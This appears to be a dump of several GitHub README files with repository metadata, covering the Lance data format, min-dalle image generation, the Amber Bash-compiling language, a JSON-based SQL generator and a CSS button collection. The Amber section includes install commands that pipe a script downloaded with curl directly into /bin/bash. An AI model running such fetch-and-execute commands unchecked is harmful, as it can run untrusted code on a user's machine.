sample.vector]) # Get nearest neighbors for all of them rs = [dataset.to_table(nearest={"column": "vector", "k": 10, "q": q}) for q in query_vectors] ``` ## Directory structure \| Directory \| Description \| \|--------------------\|--------------------------\| \| [rust](./rust) \| Core Rust implementation \| \| [python](./python) \| Python bindings (pyo3) \| \| [docs](./docs) \| Documentation source \| ## What makes Lance different Here we will highlight a few aspects of Lance’s design. For more details, see the full [Lance design document](https://lancedb.github.io/lance/format.html). Vector index: Vector index for similarity search over embedding space. Support both CPUs (``x86_64`` and ``arm``) and GPU (``Nvidia (cuda)`` and ``Apple Silicon (mps)``). Encodings: To achieve both fast columnar scan and sub-linear point queries, Lance uses custom encodings and layouts. Nested fields: Lance stores each subfield as a separate column to support efficient filters like “find images where detected objects include cats”. Versioning: A Manifest can be used to record snapshots. Currently we support creating new versions automatically via appends, overwrites, and index creation . Fast updates* (ROADMAP): Updates will be supported via write-ahead logs. Rich secondary indices (ROADMAP): - Inverted index for fuzzy search over many label / annotation fields. ## Benchmarks ### Vector search We used the SIFT dataset to benchmark our results with 1M vectors of 128D 1. For 100 randomly sampled query vectors, we get <1ms average response time (on a 2023 m2 MacBook Air) ![avg_latency.png](docs/avg_latency.png) 2. ANNs are always a trade-off between recall and performance ![avg_latency.png](docs/recall_vs_latency.png) ### Vs. parquet We create a Lance dataset using the Oxford Pet dataset to do some preliminary performance testing of Lance as compared to Parquet and raw image/XMLs. For analytics queries, Lance is 50-100x better than reading the raw metadata. For batched random access, Lance is 100x better than both parquet and raw files. ![](docs/lance_perf.png) ## Why are you building yet another data format?! The machine learning development cycle involves the steps: ```mermaid graph LR A[Collection] --> B[Exploration]; B --> C[Analytics]; C --> D[Feature Engineer]; D --> E[Training]; E --> F[Evaluation]; F --> C; E --> G[Deployment]; G --> H[Monitoring]; H --> A; ``` People use different data representations to varying stages for the performance or limited by the tooling available. Academia mainly uses XML / JSON for annotations and zipped images/sensors data for deep learning, which is difficult to integrated into data infrastructure and slow to train over cloud storage. While industry uses data lakes (Parquet-based techniques, i.e., Delta Lake, Iceberg) or data warehouses (AWS Redshift or Google BigQuery) to collect and analyze data, they have to convert the data into training-friendly formats, such as [Rikai](https://github.com/eto-ai/rikai)/[Petastorm](https://github.com/uber/petastorm) or [TFRecord](https://www.tensorflow.org/tutorials/load_data/tfrecord). Multiple single-purpose data transforms, as well as syncing copies between cloud storage to local training instances have become a common practice. While each of the existing data formats excels at the workload it was originally designed for, we need a new data format tailored for multistage ML development cycles to reduce and data silos. A comparison of different data formats in each stage of ML development cycle. \| \| Lance \| Parquet & ORC \| JSON & XML \| TFRecord \| Database \| Warehouse \| \|---------------------\|-------\|---------------\|------------\|----------\|----------\|-----------\| \| Analytics \| Fast \| Fast \| Slow \| Slow \| Decent \| Fast \| \| Feature Engineering \| Fast \| Fast \| Decent \| Slow \| Decent \| Good \| \| Training \| Fast \| Decent \| Slow \| Fast \| N/A \| N/A \| \| Exploration \| Fast \| Slow \| Fast \| Slow \| Fast \| Decent \| \| Infra Support \| Rich \| Rich \| Decent \| Limited \| Rich \| Rich \| ## Community Highlights Lance is currently used in production by: * [LanceDB](https://github.com/lancedb/lancedb), a serverless, low-latency vector database for ML applications * Self-driving car company for large-scale storage, retrieval and processing of multi-modal data. * E-commerce company for billion-scale+ vector personalized search. * and more. ## Presentations and Talks * [Lance Deep Dive](https://drive.google.com/file/d/1Orh9rK0Mpj9zN_gnQF1eJJFpAc6lStGm/view?usp=drive_link). July 2023. * [Lance: A New Columnar Data Format](https://docs.google.com/presentation/d/1a4nAiQAkPDBtOfXFpPg7lbeDAxcNDVKgoUkw3cUs2rE/edit#slide=id.p), [Scipy 2022, Austin, TX](https://www.scipy2022.scipy.org/posters). July, 2022.	Modern columnar data format for ML and LLMs implemented in Rust. Convert from parquet in 2 lines of code for 100x faster random access, vector index, and data versioning. Compatible with Pandas, DuckDB, Polars, Pyarrow, with more integrations coming..	machine-learning,computer-vision,data-format,deep-learning,python,apache-arrow,duckdb,mlops,data-analysis,data-analytics	154	54	1,665	1,650	330	108	21
kuprel/min-dalle	# min(DALL·E) [![Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/kuprel/min-dalle/blob/main/min_dalle.ipynb)   [![Hugging Face Spaces](https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces%20Demo-blue)](https://huggingface.co/spaces/kuprel/min-dalle)   [![Replicate](https://replicate.com/kuprel/min-dalle/badge)](https://replicate.com/kuprel/min-dalle)   [![Discord](https://img.shields.io/discord/823813159592001537?color=5865F2&logo=discord&logoColor=white)](https://discord.com/channels/823813159592001537/912729332311556136) [YouTube Walk-through](https://youtu.be/x_8uHX5KngE) by The AI Epiphany This is a fast, minimal port of Boris Dayma's [DALL·E Mini](https://github.com/borisdayma/dalle-mini) (with mega weights). It has been stripped down for inference and converted to PyTorch. The only third party dependencies are numpy, requests, pillow and torch. To generate a 3x3 grid of DALL·E Mega images it takes: - 55 sec with a T4 in Colab - 33 sec with a P100 in Colab - 15 sec with an A10G on Hugging Face Here's a more detailed breakdown of performance on an A100. Credit to [@technobird22](https://github.com/technobird22) and his [NeoGen](https://github.com/technobird22/NeoGen) discord bot for the graph. <br /> <img src="https://github.com/kuprel/min-dalle/raw/main/performance.png" alt="min-dalle" width="450"/> <br /> The flax model and code for converting it to torch can be found [here](https://github.com/kuprel/min-dalle-flax). ## Install ```bash $ pip install min-dalle ``` ## Usage Load the model parameters once and reuse the model to generate multiple images. ```python from min_dalle import MinDalle model = MinDalle( models_root='./pretrained', dtype=torch.float32, device='cuda', is_mega=True, is_reusable=True ) ``` The required models will be downloaded to `models_root` if they are not already there. Set the `dtype` to `torch.float16` to save GPU memory. If you have an Ampere architecture GPU you can use `torch.bfloat16`. Set the `device` to either "cuda" or "cpu". Once everything has finished initializing, call `generate_image` with some text as many times as you want. Use a positive `seed` for reproducible results. Higher values for `supercondition_factor` result in better agreement with the text but a narrower variety of generated images. Every image token is sampled from the `top_k` most probable tokens. The largest logit is subtracted from the logits to avoid infs. The logits are then divided by the `temperature`. If `is_seamless` is true, the image grid will be tiled in token space not pixel space. ```python image = model.generate_image( text='Nuclear explosion broccoli', seed=-1, grid_size=4, is_seamless=False, temperature=1, top_k=256, supercondition_factor=32, is_verbose=False ) display(image) ``` <img src="https://github.com/kuprel/min-dalle/raw/main/examples/nuclear_broccoli.jpg" alt="min-dalle" width="400"/> Credit to [@hardmaru](https://twitter.com/hardmaru) for the [example](https://twitter.com/hardmaru/status/1544354119527596034) ### Saving Individual Images The images can also be generated as a `FloatTensor` in case you want to process them manually. ```python images = model.generate_images( text='Nuclear explosion broccoli', seed=-1, grid_size=3, is_seamless=False, temperature=1, top_k=256, supercondition_factor=16, is_verbose=False ) ``` To get an image into PIL format you will have to first move the images to the CPU and convert the tensor to a numpy array. ```python images = images.to('cpu').numpy() ``` Then image $i$ can be coverted to a PIL.Image and saved ```python image = Image.fromarray(images[i]) image.save('image_{}.png'.format(i)) ``` ### Progressive Outputs If the model is being used interactively (e.g. in a notebook) `generate_image_stream` can be used to generate a stream of images as the model is decoding. The detokenizer adds a slight delay for each image. Set `progressive_outputs` to `True` to enable this. An example is implemented in the colab. ```python image_stream = model.generate_image_stream( text='Dali painting of WALL·E', seed=-1, grid_size=3, progressive_outputs=True, is_seamless=False, temperature=1, top_k=256, supercondition_factor=16, is_verbose=False ) for image in image_stream: display(image) ``` <img src="https://github.com/kuprel/min-dalle/raw/main/examples/dali_walle_animated.gif" alt="min-dalle" width="300"/> ### Command Line Use `image_from_text.py` to generate images from the command line. ```bash $ python image_from_text.py --text='artificial intelligence' --no-mega ``` <img src="https://github.com/kuprel/min-dalle/raw/main/examples/artificial_intelligence.jpg" alt="min-dalle" width="200"/>	min(DALL·E) is a fast, minimal port of DALL·E Mini to PyTorch	artificial-intelligence,deep-learning,pytorch,text-to-image	5	15	28	376	22	1	0
Ph0enixKM/Amber	<div align="center"> <img src="assets/amber.png" alt="amber logo" width="250" /> </div> # Amber Programming language that compiles to Bash. It's a high level programming language that makes it easy to create shell scripts. It's particularly well suited for cloud services. > [!Warning] > This software is not ready for extended usage. [Join our Discord!](https://discord.com/invite/cjHjxbsDvZ) ## Install Amber compiler currently works on: - Linux x86 and ARM - macOS x86 and ARM (Apple Silicon) - Nix (NixOS) ### macOS / Linux Make sure that the operating system meets the following prerequisites - Bourne-again shell (Bash) - Curl tool for downloading the installation script - Basic calculator `bc` command (On Debian run `sudo apt install bc`) #### system-wide install ```bash curl -s "https://raw.githubusercontent.com/Ph0enixKM/AmberNative/master/setup/install.sh" \| /bin/bash ``` #### local-user install ```bash curl -s "https://raw.githubusercontent.com/Ph0enixKM/AmberNative/master/setup/install.sh" \| /bin/bash -s -- --user ``` #### Via a package manager Amber is packaged in the following distros: Arch (AUR) - `amber-bash-bin` #### Nix See [NIX.md](./NIX.md) ### Windows support As windows does not come with bash installed it makes no sense to support it. Please install WSL 2 on your windows machine and install Linux version of Amber compiler inside. In order for it to work you may need to run the following code that pulls all the prerequisites. ```bash sudo apt install curl bc sudo mkdir /opt /usr/local/bin ``` ## Contributing In order to contribute, you have to add couple of build targets: ```bash rustup target add x86_64-unknown-linux-musl rustup target add x86_64-apple-darwin rustup target add x86_64-pc-windows-gnu rustup target add aarch64-apple-darwin ``` And linkers (macos): ```bash brew install messense/macos-cross-toolchains/aarch64-unknown-linux-musl brew install messense/macos-cross-toolchains/x86_64-unknown-linux-gnu ``` Finally in order to build ```bash amber build.ab ``` Debugging Amber: ```bash // Shows the AST AMBER_DEBUG_PARSER=true cargo run <file.ab> // Shows the time it took to compile each phase AMBER_DEBUG_TIME=true cargo run <file.ab> // Flamegraph is a profiling tool that is used to visualize the time each function took to execute sudo cargo flamegraph -- <file.ab> <file.sh> ``` ## Github Actions We are using `cargo-dist` to build the binaries for all the platforms. The binaries are then uploaded to the release page once a new release a tag is created.	💎 Amber the programming language compiled to bash	bash-scripting,bash,compilers	7	19	118	360	52	6	4
liyupi/sql-generator	# 结构化 SQL 生成器 > 用 JSON 来轻松生成复杂的 SQL，大幅提高写 SQL 的效率！ > > by 程序员鱼皮在线使用：http://sql.yupi.icu 项目介绍视频：https://www.bilibili.com/video/BV1qa411J7vh/ ![工具截图](./doc/assets/main.png) ## 项目作用 1. 将 SQL 的编写逻辑 `结构化` ，像写文章大纲一样编写和阅读 SQL 2. 重复的 SQL 只需编写一次，SQL 变动时修改一处即可 3. 可以针对某部分 SQL 进行传参和调试 4. 查看 SQL 语句的引用树和替换过程，便于分析理解 SQL ![查看调用树和替换过程](./doc/assets/invokeTree.png) ## 应用场景如果你要写一句复杂的 SQL，且 SQL 中很多代码是相似但又不相同的。那么推荐使用该工具，可以不用重复编写 SQL，更有利于修改、维护和理解。尤其是在大数据分析场景下，经常会有编写复杂 SQL 的需求。 > 之所以会有这个轮子，也正是因为鱼皮在工作中要写一句长达 3000 行的 SQL 来离线分析数据，手写真的人要疯了！当然，你也完全可以把它当做一个 `重复代码生成器` ~ ## 示例需求：计算 id = 1 和 id = 2 的两位同学的身高差 SQL 大概是这样的： ```sql select (s1.height - s2.height) as 身高差 from (select * from student where id = 1) s1, (select * from student where id = 2) s2 ``` 显然，上述 SQL 中学生表查询了 2 次，而且除了查询的 id 不同外，查询逻辑完全一致！如果后面查询学生的逻辑发生修改，那么以上 2 个子查询都要同时修改，不利于维护。而使用本工具，只需编写如下 JSON，就能自动生成完整的 SQL 了： ```json { "main": "select @身高差() from (@学生表(id = 1)) s1, (@学生表(id = 2)) s2", "身高差": "(s1.height - s2.height) as 身高差", "学生表": "select * from student where id = #{id}" } ``` 通过类似 `函数调用 + 传参` 的方式，我们无需重复编写 SQL，而且整个 SQL 的逻辑更清晰！当然，以上只是一个示例，真实大数据离线分析的场景下，SQL 可比这复杂 N 倍！如果感兴趣的话，欢迎往下看文档，还有更复杂的示例~ ## 优势 1. 支持在线编辑 JSON 和 SQL，支持代码高亮、语法校验、一键格式化、查找和替换、代码块折叠等，体验良好 2. 支持一键生成 SQL 3. 支持参数透传，比如 @a(xx = #{yy})，yy 变量可传递给 @a 公式 4. 支持嵌套传参（将子查询作为参数），比如 @a(xx = @b(yy = 1)) 5. 不限制用户在 JSON 中编写的内容，因此该工具也可以作为重复代码生成器来使用 6. 支持查看 SQL 语句的调用树和替换详情，便于分析引用关系 ## 文档可以把下面的代码放到生成器中试试，一下就明白如何使用啦~ ```json { "main": "必填, 代码从这里开始生成, 用 @规则名() 引用其他语句", "规则名": "可以编写任意 SQL 语句 @规则名2() @动态传参(a = 求给 \|\|\| b = star)", "规则名2": { "sql": "用 #{参数名} 指定可被替换的值", "params": { "参数名": "在 params 中指定静态参数, 会优先被替换" } }, "动态传参": "#{a}鱼皮#{b}" } ``` ### 补充说明 `对象键`：定义 SQL 生成规则名称，main 表示入口 SQL，从该 SQL 语句开始生成。 `对象值`：定义具体生成规则。可以是 SQL 字符串或者对象。 `sql`：定义模板 SQL 语句，可以是任意字符串，比如一组字段、一段查询条件、一段计算逻辑、完整 SQL 等。 `params`：静态参数，解析器会优先将该变量替换到当前语句的 #{变量名} 中 `#{xxx}`：定义可被替换的变量，优先用当前层级 params 替换，否则由外层传递 `@xxx(yy = 1 \|\|\| zz = #{变量})`：引用其他 SQL，可传参，参数可再用变量来表示，使用 \|\|\|（三个竖线）来分隔参数。 ## 复杂示例需求：用一句 SQL 查询出以下表格 ![](./doc/assets/complex-example.png) 这个表格的难点在哪？ 1. 查汇总和查明细的粒度不同，不能用 group by 区分，只能用 union（红色） 2. 分类列中不同行的数据有交叉，不能用 group by 区分，只能用 union 3. 每一列由多张表共同 join 而成，且不同分类可关联的表不同，须进行区分（灰色表示无法关联），并将缺失的字段补齐（否则无法 union） 4. 不同行的同一列计算公式可能不同（蓝色） 5. 不同列的过滤条件不同（比如最后两列墨绿色是要查全校，其余列只查 1 年级） 6. 要查询同环比，只能用 2 份完整的数据去 join 然后错位计算来得出显然，这个表中很多查询逻辑是重复但又不同的。这么算下来，最后这个 SQL 中到底会包含多少个基础表的 select 呢？每个基础表查询要重复编写多少遍呢？然而，这个表格也只是鱼皮对实际需求简化后才得来的，实际需求比这还复杂几倍！可想而知，人工写有多恶心？！但是使用本工具，只需编写如下结构化的 JSON： ```json { "main": "select (a / b - 1) from (@查整体(date = 今天)) a, (@查整体(date = 昨天)) b", "查整体": "@查年级() union @查1班() union @查2班() where date = #{date}", "查年级": "@查汇总_性别汇总() union @查汇总_性别分组() union @查汇总_爱好汇总() union @查汇总_爱好分组() union @查汇总_电脑类别汇总() union @查汇总_电脑类别分组()", "查汇总_性别汇总": "@查除电脑关联表()", "查汇总_性别分组": "@查除电脑关联表() group by 性别", "查汇总_爱好汇总": "@查除电脑关联表()", "查汇总_爱好分组": "@查除电脑关联表() where 爱好 in (xx) group by 爱好", "查汇总_电脑类别汇总": "@查除三连和学习表()", "查汇总_电脑类别分组": "@查除三连和学习表() group by 电脑类别", "查1班": "@查1班_性别汇总() union @查1班_性别分组() union @查1班_爱好汇总() union @查1班_爱好分组() union @查1班_电脑类别汇总() union @查汇总_电脑类别分组()", "查1班_性别汇总": "@查除电脑关联表() where 1班", "查1班_性别分组": "@查除电脑关联表() where 1班 group by 性别", "查1班_爱好汇总": "@查除电脑关联表() where 1班", "查1班_爱好分组": "@查除电脑关联表() where 1班 and 爱好 in (xx) group by 爱好", "查1班_电脑类别汇总": "@查除三连和学习表() where 1班", "查1班_电脑类别分组": "@查除三连和学习表() where 1班 group by 电脑类别", "查2班": "@查2班_性别汇总() union @查2班_性别分组() union @查2班_电脑类别汇总() union @查2班_电脑类别分组()", "查2班_性别汇总": "@查除电脑关联表() where 2班", "查2班_性别分组": "@查除电脑关联表() where 2班 group by 性别", "查2班_电脑类别汇总": "@查除三连和学习表() where 2班", "查2班_电脑类别分组": "@查除三连和学习表() where 2班 group by 电脑类别", "查所有关联表": "@查信息表() left join (@查三连表()) left join (@查学习表()) left join (@查电脑表()) left join (@查全校信息())", "查除电脑关联表": "@查信息表() left join (@查三连表()) left join (@查学习表()) left join (@查全校信息())", "查除三连和学习表": "@查信息表() left join (@查电脑表()) left join (@查全校信息())", "查信息表": "select 字段 from 信息表 where 年级 = 1", "查三连表": "select 字段 from 三连表 where 年级 = 1", "查学习表": "select 字段 from 学习表 where 年级 = 1", "查电脑表": "select 字段 from 电脑表 where 年级 = 1", "查全校信息": "select 字段 from 信息表" } ``` 就能自动生成 SQL 了，还可以查看调用关系，非常清晰： ![](./doc/assets/complex-example-result.png) ## 实现使用和 JSON 相性最好的 JavaScript 来实现，编写一份逻辑 JS 文件，可同时应用于 browser 和 server 端。功能比较轻量，因此选择优先在纯 browser 端实现。前端使用 `Vue3 + Vite + Ant Design Vue` 开发界面，选用 `Monaco Editor` 实现代码编辑、高亮、格式化等功能，使用 `TypeScript + ESLint` 保证代码规范。 SQL 生成逻辑如下： 1. JSON 字符串转对象 2. 从入口开始，先替换 params 静态参数，得到当前层解析 3. 对 @xxx 语法进行递归解析，递归解析时，优先替换静态参数，再替换外层传来的调用参数 4. 得到最终 SQL 解析器原本采用正则非贪婪替换方式实现，但无法实现嵌套调用，比如 @a(xx = @b())，会被识别为 @a(xx = @b()，匹配到了最近的右括号。因此针对括号嵌套的情况对子查询替换算法做了优化，已支持包含括号语句的嵌套调用。	🔨 用 JSON 来生成结构化的 SQL 语句，基于 Vue3 + TypeScript + Vite + Ant Design + MonacoEditor 实现，项目简单（重逻辑轻页面）、适合练手~	bigdata,hive,javascript,json,spark,sql,mysql,typescript,vite,vue	0	3	6	19	12	1	0
eludadev/ui-buttons	[![](./assets/banner.png)](https://ui-buttons.web.app) ## 🚀️ We're on Product Hunt! If you want me to keep making amazing free resources for you, I would really appreaciate your feedback and support on my Product Hunt launch! 🤗️ <p align="center"><a href="https://www.producthunt.com/widgets/cards/r/UG9zdDozNTM0MDI=" target="_blank"><img src="assets/product-hunt.png" alt="100 CSS Buttons" /></a></p> ## 🤖️ To See Code, Click on One of The Links \| Preview \| Link \| Description \| \| --- \| --- \| --- \| \| [ ![CSS Button that changes color on click or hover.](./buttons/1-basic/preview.webp)](https://ui-buttons.web.app/basic) \| [Basic](https://ui-buttons.web.app/basic) \| CSS Button that changes color on click or hover. \| \| [ ![CSS Button slides its two inverted triangles to the middle on click or hover.](./buttons/10-inverted-triangles/preview.webp)](https://ui-buttons.web.app/inverted-triangles) \| [Inverted Triangles](https://ui-buttons.web.app/inverted-triangles) \| CSS Button slides its two inverted triangles to the middle on click or hover. \| \| [ ![CSS Button that slides its pseudo-element underline on hover or click.](./buttons/100-line-slide/preview.webp)](https://ui-buttons.web.app/line-slide) \| [Line Slide](https://ui-buttons.web.app/line-slide) \| CSS Button that slides its pseudo-element underline on hover or click. \| \| [ ![CSS Button that crosses over itself and expands on hover or click.](./buttons/101-don't-cross-the-line/preview.webp)](https://ui-buttons.web.app/don't-cross-the-line) \| [Don't Cross The Line](https://ui-buttons.web.app/don't-cross-the-line) \| CSS Button that crosses over itself and expands on hover or click. \| \| [ ![CSS Button that slices its background and cycles its content vertically on click or hover.](./buttons/11-slicer-and-marquee/preview.webp)](https://ui-buttons.web.app/slicer-and-marquee) \| [Slicer And Marquee](https://ui-buttons.web.app/slicer-and-marquee) \| CSS Button that slices its background and cycles its content vertically on click or hover. \| \| [ ![CSS Button that slides two inward-pointing pseudo-element triangles to the center on hover or click.](./buttons/12-zoom-in-and-text-rotate/preview.webp)](https://ui-buttons.web.app/zoom-in-and-text-rotate) \| [Zoom In And Text Rotate](https://ui-buttons.web.app/zoom-in-and-text-rotate) \| CSS Button that slides two inward-pointing pseudo-element triangles to the center on hover or click. \| \| [ ![CSS Button that slides its four alternate blocks and flips its text vertically on click or hover.](./buttons/13-alternate-blocks-and-text-flip/preview.webp)](https://ui-buttons.web.app/alternate-blocks-and-text-flip) \| [Alternate Blocks And Text Flip](https://ui-buttons.web.app/alternate-blocks-and-text-flip) \| CSS Button that slides its four alternate blocks and flips its text vertically on click or hover. \| \| [ ![CSS Button with background that slides right on click or hover.](./buttons/14-slide-right/preview.webp)](https://ui-buttons.web.app/slide-right) \| [Slide Right](https://ui-buttons.web.app/slide-right) \| CSS Button with background that slides right on click or hover. \| \| [ ![CSS Button that slides its increasingly tilted diagonal to the right on click or hover.](./buttons/15-tilted-diagonal/preview.webp)](https://ui-buttons.web.app/tilted-diagonal) \| [Tilted diagonal](https://ui-buttons.web.app/tilted-diagonal) \| CSS Button that slides its increasingly tilted diagonal to the right on click or hover. \| \| [ ![CSS Button that slides its background to the right on click or hover and more to the right again on click or hover.](./buttons/16-in-and-out/preview.webp)](https://ui-buttons.web.app/in-and-out) \| [In And Out](https://ui-buttons.web.app/in-and-out) \| CSS Button that slides its background to the right on click or hover and more to the right again on click or hover. \| \| [ ![CSS Button that slides its circular background to the right on click or hover.](./buttons/17-bubble-right/preview.webp)](https://ui-buttons.web.app/bubble-right) \| [Bubble Right](https://ui-buttons.web.app/bubble-right) \| CSS Button that slides its circular background to the right on click or hover. \| \| [ ![CSS Button that moves copies of its text horizontally and at an angle on click or hover.](./buttons/18-marquee-sign/preview.webp)](https://ui-buttons.web.app/marquee-sign) \| [Marquee Sign](https://ui-buttons.web.app/marquee-sign) \| CSS Button that moves copies of its text horizontally and at an angle on click or hover. \| \| [ ![CSS Button that morphs one side of its border into a triangle pseudo-element on click or hover.](./buttons/19-shapeshifter/preview.webp)](https://ui-buttons.web.app/shapeshifter) \| [ShapeShifter](https://ui-buttons.web.app/shapeshifter) \| CSS Button that morphs one side of its border into a triangle pseudo-element on click or hover. \| \| [ ![CSS Button with background that fills it up vertically on click.](./buttons/2-click-to-fill/preview.webp)](https://ui-buttons.web.app/click-to-fill) \| [Click To Fill](https://ui-buttons.web.app/click-to-fill) \| CSS Button with background that fills it up vertically on click. \| \| [ ![CSS Button that morphs both sides into a triangle pseudo-element on click or hover.](./buttons/20-double-shapeshifter/preview.webp)](https://ui-buttons.web.app/double-shapeshifter) \| [Double ShapeShifter](https://ui-buttons.web.app/double-shapeshifter) \| CSS Button that morphs both sides into a triangle pseudo-element on click or hover. \| \| [ ![CSS Button that morphs into an X using pseudo-elements on click or hover.](./buttons/21-x-shapeshifter/preview.webp)](https://ui-buttons.web.app/x-shapeshifter) \| [X ShapeShifter](https://ui-buttons.web.app/x-shapeshifter) \| CSS Button that morphs into an X using pseudo-elements on click or hover. \| \| [ ![CSS Button that folds from the middle using CSS 3D Transforms on hover or click.](./buttons/22-fold-middle/preview.webp)](https://ui-buttons.web.app/fold-middle) \| [Fold Middle](https://ui-buttons.web.app/fold-middle) \| CSS Button that folds from the middle using CSS 3D Transforms on hover or click. \| \| [ ![CSS Button that folds from one side using CSS 3D Transforms on hover or click.](./buttons/23-fold-one-side/preview.webp)](https://ui-buttons.web.app/fold-one-side) \| [Fold One Side](https://ui-buttons.web.app/fold-one-side) \| CSS Button that folds from one side using CSS 3D Transforms on hover or click. \| \| [ ![CSS Button that slides its triangular background from the left to the right and rotates its text on hover or click.](./buttons/24-arrow-slide-+-text-rotate/preview.webp)](https://ui-buttons.web.app/arrow-slide-+-text-rotate) \| [Arrow Slide + Text Rotate](https://ui-buttons.web.app/arrow-slide-+-text-rotate) \| CSS Button that slides its triangular background from the left to the right and rotates its text on hover or click. \| \| [ ![CSS Button with backgrounds that slides down on click or hover.](./buttons/25-slide-down/preview.webp)](https://ui-buttons.web.app/slide-down) \| [Slide Down](https://ui-buttons.web.app/slide-down) \| CSS Button with backgrounds that slides down on click or hover. \| \| [ ![CSS Button that slides its bubbly radial background to the bottom and rotates its text on hover or click.](./buttons/26-bubble-up-+-text-rotate/preview.webp)](https://ui-buttons.web.app/bubble-up-+-text-rotate) \| [Bubble Up + Text Rotate](https://ui-buttons.web.app/bubble-up-+-text-rotate) \| CSS Button that slides its bubbly radial background to the bottom and rotates its text on hover or click. \| \| [ ![CSS Button that moves one corner from the bottom right to the top left to reveal its background on hover or click.](./buttons/27-overfold/preview.webp)](https://ui-buttons.web.app/overfold) \| [OverFold](https://ui-buttons.web.app/overfold) \| CSS Button that moves one corner from the bottom right to the top left to reveal its background on hover or click. \| \| [ ![CSS Button that focuses its border in on hover or click.](./buttons/28-focus-in/preview.webp)](https://ui-buttons.web.app/focus-in) \| [Focus In](https://ui-buttons.web.app/focus-in) \| CSS Button that focuses its border in on hover or click. \| \| [ ![CSS Button that has a pseudo-element background going over it and out on hover or click.](./buttons/3-cover-over/preview.webp)](https://ui-buttons.web.app/cover-over) \| [Cover Over](https://ui-buttons.web.app/cover-over) \| CSS Button that has a pseudo-element background going over it and out on hover or click. \| \| [ ![CSS Button that fills up its background radially from the center and scales up on hover or click.](./buttons/30-enlarge/preview.webp)](https://ui-buttons.web.app/enlarge) \| [Enlarge](https://ui-buttons.web.app/enlarge) \| CSS Button that fills up its background radially from the center and scales up on hover or click. \| \| [ ![CSS Button that tilts its background from the top left corner on hover or click.](./buttons/31-slanted/preview.webp)](https://ui-buttons.web.app/slanted) \| [Slanted](https://ui-buttons.web.app/slanted) \| CSS Button that tilts its background from the top left corner on hover or click. \| \| [ ![CSS Button that reveals new text by splitting it horizontally from the center on hover or click.](./buttons/32-split-reveal/preview.webp)](https://ui-buttons.web.app/split-reveal) \| [Split Reveal](https://ui-buttons.web.app/split-reveal) \| CSS Button that reveals new text by splitting it horizontally from the center on hover or click. \| \| [ ![CSS Button that reveals new text by splitting it alternately from the center on hover or click.](./buttons/33-split-reveal-alternate/preview.webp)](https://ui-buttons.web.app/split-reveal-alternate) \| [Split Reveal Alternate](https://ui-buttons.web.app/split-reveal-alternate) \| CSS Button that reveals new text by splitting it alternately from the center on hover or click. \| \| [ ![CSS Button that reveals new text by splitting it horizontally from the center on hover or click.](./buttons/34-split-reveal-horizontal/preview.webp)](https://ui-buttons.web.app/split-reveal-horizontal) \| [Split Reveal Horizontal](https://ui-buttons.web.app/split-reveal-horizontal) \| CSS Button that reveals new text by splitting it horizontally from the center on hover or click. \| \| [ ![CSS Button that reveals new text by sliding it to the right on hover or click.](./buttons/35-slide-reveal/preview.webp)](https://ui-buttons.web.app/slide-reveal) \| [Slide Reveal](https://ui-buttons.web.app/slide-reveal) \| CSS Button that reveals new text by sliding it to the right on hover or click. \| \| [ ![CSS Button that slides its diagonal background to the right on click or hover.](./buttons/36-diagonal-swipe/preview.webp)](https://ui-buttons.web.app/diagonal-swipe) \| [Diagonal Swipe](https://ui-buttons.web.app/diagonal-swipe) \| CSS Button that slides its diagonal background to the right on click or hover. \| \| [ ![CSS Button that reveals new text by sliding it to the right and sliding the old text down on hover or click.](./buttons/37-slide-reveal-+-text-down/preview.webp)](https://ui-buttons.web.app/slide-reveal-+-text-down) \| [Slide Reveal + Text Down](https://ui-buttons.web.app/slide-reveal-+-text-down) \| CSS Button that reveals new text by sliding it to the right and sliding the old text down on hover or click. \| \| [ ![CSS Button that scales its pill-like background down on hover or click.](./buttons/38-pill-shrink/preview.webp)](https://ui-buttons.web.app/pill-shrink) \| [Pill Shrink](https://ui-buttons.web.app/pill-shrink) \| CSS Button that scales its pill-like background down on hover or click. \| \| [ ![CSS Button that focuses in its pill-like border on hover or click.](./buttons/39-pill-halo/preview.webp)](https://ui-buttons.web.app/pill-halo) \| [Pill Halo](https://ui-buttons.web.app/pill-halo) \| CSS Button that focuses in its pill-like border on hover or click. \| \| [ ![CSS Button that has a moving and glowing border on hover or click.](./buttons/4-glow-button/preview.webp)](https://ui-buttons.web.app/glow-button) \| [Glow Button](https://ui-buttons.web.app/glow-button) \| CSS Button that has a moving and glowing border on hover or click. \| \| [ ![CSS Button that reveals new text by rotating it in from the bottom left on hover or click.](./buttons/40-rotate-reveal/preview.webp)](https://ui-buttons.web.app/rotate-reveal) \| [Rotate Reveal](https://ui-buttons.web.app/rotate-reveal) \| CSS Button that reveals new text by rotating it in from the bottom left on hover or click. \| \| [ ![CSS Button that slides its two backgrounds successively to the bottom on hover or click.](./buttons/41-double-slide-down/preview.webp)](https://ui-buttons.web.app/double-slide-down) \| [Double Slide Down](https://ui-buttons.web.app/double-slide-down) \| CSS Button that slides its two backgrounds successively to the bottom on hover or click. \| \| [ ![CSS Button that slides its two backgrounds successively to the right on hover or click.](./buttons/42-double-slide-right/preview.webp)](https://ui-buttons.web.app/double-slide-right) \| [Double Slide Right](https://ui-buttons.web.app/double-slide-right) \| CSS Button that slides its two backgrounds successively to the right on hover or click. \| \| [ ![CSS Button that rotates down using 3D Transforms on hover or click.](./buttons/46-3d-rotate-down/preview.webp)](https://ui-buttons.web.app/3d-rotate-down) \| [3D Rotate Down](https://ui-buttons.web.app/3d-rotate-down) \| CSS Button that rotates down using 3D Transforms on hover or click. \| \| [ ![CSS Button that rotates right using 3D Transforms on hover or click.](./buttons/44-3d-rotate-right/preview.webp)](https://ui-buttons.web.app/3d-rotate-right) \| [3D Rotate Right](https://ui-buttons.web.app/3d-rotate-right) \| CSS Button that rotates right using 3D Transforms on hover or click. \| \| [ ![CSS Button that rotates left using 3D Transforms on hover or click.](./buttons/45-3d-rotate-left/preview.webp)](https://ui-buttons.web.app/3d-rotate-left) \| [3D Rotate Left](https://ui-buttons.web.app/3d-rotate-left) \| CSS Button that rotates left using 3D Transforms on hover or click. \| \| [ ![CSS Button that rotates up using 3D Transforms on hover or click.](./buttons/46-3d-rotate-down/preview.webp)](https://ui-buttons.web.app/3d-rotate-down) \| [3D Rotate Down](https://ui-buttons.web.app/3d-rotate-down) \| CSS Button that rotates up using 3D Transforms on hover or click. \| \| [ ![CSS Button that slides its triangular background to the right on click or hover.](./buttons/47-rush-triangle/preview.webp)](https://ui-buttons.web.app/rush-triangle) \| [Rush Triangle](https://ui-buttons.web.app/rush-triangle) 